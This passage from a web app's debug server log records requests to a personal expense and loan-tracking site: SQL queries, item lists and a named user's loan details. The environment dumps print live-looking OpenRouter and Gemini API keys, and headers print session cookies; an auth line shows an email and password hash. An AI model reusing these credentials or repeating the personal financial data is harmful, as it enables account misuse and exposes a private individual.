  sql: "delete from `sessions` where expired < CAST('2026-03-03 17:03:35' as DATETIME)"
}
2026-03-03T17:31:21.656Z server-connect:router Serving templateView /
2026-03-03T17:31:21.657Z server-connect:app Executing action step identify
2026-03-03T17:31:21.657Z server-connect:app options: { provider: 'security' }
2026-03-03T17:31:21.702Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-03-03T17:31:21.705Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-03-03T17:31:21.751Z server-connect:output identity: 1
2026-03-03T17:31:21.751Z server-connect:app Executing action step restrict
2026-03-03T17:31:21.751Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-03T17:31:21.752Z server-connect:output restrict: undefined
2026-03-03T17:31:21.752Z server-connect:app Executing action step restrict
2026-03-03T17:31:21.752Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-03T17:31:21.752Z server-connect:output restrict: undefined
2026-03-03T17:31:21.753Z server-connect:router Render template layouts/main
2026-03-03T17:31:21.753Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A3BC%2ByO4uIRd9Tshi%2BOGwGw%3D%3D.qcF1oe9q8D3vqtU1rUivFuEEdp2XGc5e9QxFo0CxtRxe0Bp0co5I0WBCF07yHPJUkmmEIUlL1GTGg8yDLzQrolEHpuOJ2c%2FYsaGyhnzBXtkWyV9XeR5FbABBKl1eNs8wpTw8Eto9LdzxgznqfQodXZpJCzvpZJ%2B3U2EmoRWq0NI%3D.t1bUXnHEEY9ABZcqPF4ZHDkhn2QsWNcwHFs5CVQ021o',
    'x-forwarded-for': '49.43.180.105',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-04T17:31:21.656Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.105',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A3BC%2ByO4uIRd9Tshi%2BOGwGw%3D%3D.qcF1oe9q8D3vqtU1rUivFuEEdp2XGc5e9QxFo0CxtRxe0Bp0co5I0WBCF07yHPJUkmmEIUlL1GTGg8yDLzQrolEHpuOJ2c%2FYsaGyhnzBXtkWyV9XeR5FbABBKl1eNs8wpTw8Eto9LdzxgznqfQodXZpJCzvpZJ%2B3U2EmoRWq0NI%3D.t1bUXnHEEY9ABZcqPF4ZHDkhn2QsWNcwHFs5CVQ021o',
    'HTTP_X_FORWARDED-FOR': '49.43.180.105',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-03T17:31:32.901Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-03T17:31:32.902Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-03T17:31:32.902Z server-connect:app Executing action step identify
2026-03-03T17:31:32.903Z server-connect:app options: { provider: 'security' }
2026-03-03T17:31:32.903Z server-connect:output identity: 1
2026-03-03T17:31:32.903Z server-connect:app Executing action step restrict
2026-03-03T17:31:32.903Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-03T17:31:32.903Z server-connect:app Executing action step identify
2026-03-03T17:31:32.903Z server-connect:app options: { provider: 'security' }
2026-03-03T17:31:32.903Z server-connect:output identity: 1
2026-03-03T17:31:32.903Z server-connect:app Executing action step restrict
2026-03-03T17:31:32.903Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-03T17:31:32.904Z server-connect:output restrict: undefined
2026-03-03T17:31:32.904Z server-connect:app Executing action step select
2026-03-03T17:31:32.904Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-03T17:31:32.905Z server-connect:output restrict: undefined
2026-03-03T17:31:32.905Z server-connect:app Executing action step single
2026-03-03T17:31:32.905Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-03T17:31:32.908Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-03T17:31:32.912Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-03T17:31:34.121Z server-connect:router Serving templateView /emis
2026-03-03T17:31:34.121Z server-connect:app Executing action step identify
2026-03-03T17:31:34.121Z server-connect:app options: { provider: 'security' }
2026-03-03T17:31:34.122Z server-connect:output identity: 1
2026-03-03T17:31:34.122Z server-connect:app Executing action step restrict
2026-03-03T17:31:34.122Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-03T17:31:34.122Z server-connect:output restrict: undefined
2026-03-03T17:31:34.122Z server-connect:router Render template emis
2026-03-03T17:31:34.123Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/emis',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AYBcIJzk1eHUc8foGeu01EA%3D%3D.QYO%2FWfci0AG34bA0VM5gtuDYaDWOsSMpNTom2wMaS6X%2FxEim8AD3ZmsU%2Bx67usz6kDEl7FL4kfkz4hlqe6UpCmrijYKnbjd9ZFdZQ4kS5g3WYa4cZUMo3QJ6r0Toio72IRTFD%2FTC2rxHuHa7yk0Z15wzv2tYjwqeG9cpszIIr4Q%3D.yLK%2BrUpEZ98kFyRtaS6iNK4G1qO1fxNIJjtdapzV2lo; your_r_git.sid=s%3ALFsmm_nfvv8EaoUuBcEst9NKft1ijmdX.4D8kuJLJFrS4E8QM8R3AJ7UptFQuxPg%2BKQl2H8gfd5s',
    'x-forwarded-for': '49.43.180.105',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-04T17:31:21.757Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.105',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/emis',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AYBcIJzk1eHUc8foGeu01EA%3D%3D.QYO%2FWfci0AG34bA0VM5gtuDYaDWOsSMpNTom2wMaS6X%2FxEim8AD3ZmsU%2Bx67usz6kDEl7FL4kfkz4hlqe6UpCmrijYKnbjd9ZFdZQ4kS5g3WYa4cZUMo3QJ6r0Toio72IRTFD%2FTC2rxHuHa7yk0Z15wzv2tYjwqeG9cpszIIr4Q%3D.yLK%2BrUpEZ98kFyRtaS6iNK4G1qO1fxNIJjtdapzV2lo; your_r_git.sid=s%3ALFsmm_nfvv8EaoUuBcEst9NKft1ijmdX.4D8kuJLJFrS4E8QM8R3AJ7UptFQuxPg%2BKQl2H8gfd5s',
    'HTTP_X_FORWARDED-FOR': '49.43.180.105',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-03T17:31:34.344Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-03-03T17:31:34.345Z server-connect:app Executing action step identify
2026-03-03T17:31:34.345Z server-connect:app options: { provider: 'security' }
2026-03-03T17:31:34.345Z server-connect:output identity: 1
2026-03-03T17:31:34.345Z server-connect:app Executing action step restrict
2026-03-03T17:31:34.345Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-03T17:31:34.345Z server-connect:output restrict: undefined
2026-03-03T17:31:34.346Z server-connect:app Executing action step custom
2026-03-03T17:31:34.346Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-03-03T17:31:34.350Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '15',
    total_remaining_amount: 225210,
    total_paid_amount: 675630,
    percentage_paid: '75.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '11',
    total_remaining_amount: 242341,
    total_paid_amount: 815147,
    percentage_paid: '77.08'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '5',
    total_remaining_amount: 26680,
    total_paid_amount: 165416,
    percentage_paid: '86.11'
  }
]
2026-03-03T17:31:41.750Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-03T17:31:41.750Z server-connect:app Executing action step identify
2026-03-03T17:31:41.750Z server-connect:app options: { provider: 'security' }
2026-03-03T17:31:41.750Z server-connect:output identity: 1
2026-03-03T17:31:41.750Z server-connect:app Executing action step restrict
2026-03-03T17:31:41.750Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-03T17:31:41.751Z server-connect:output restrict: undefined
2026-03-03T17:31:41.751Z server-connect:app Executing action step select
2026-03-03T17:31:41.751Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-03T17:31:41.752Z server-connect:output list: [
  {
    id: 52,
    loan_id: 9,
    due_date: '2022-06-07T18:30:00.000Z',
    paid_on: '2022-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 53,
    loan_id: 9,
    due_date: '2022-07-07T18:30:00.000Z',
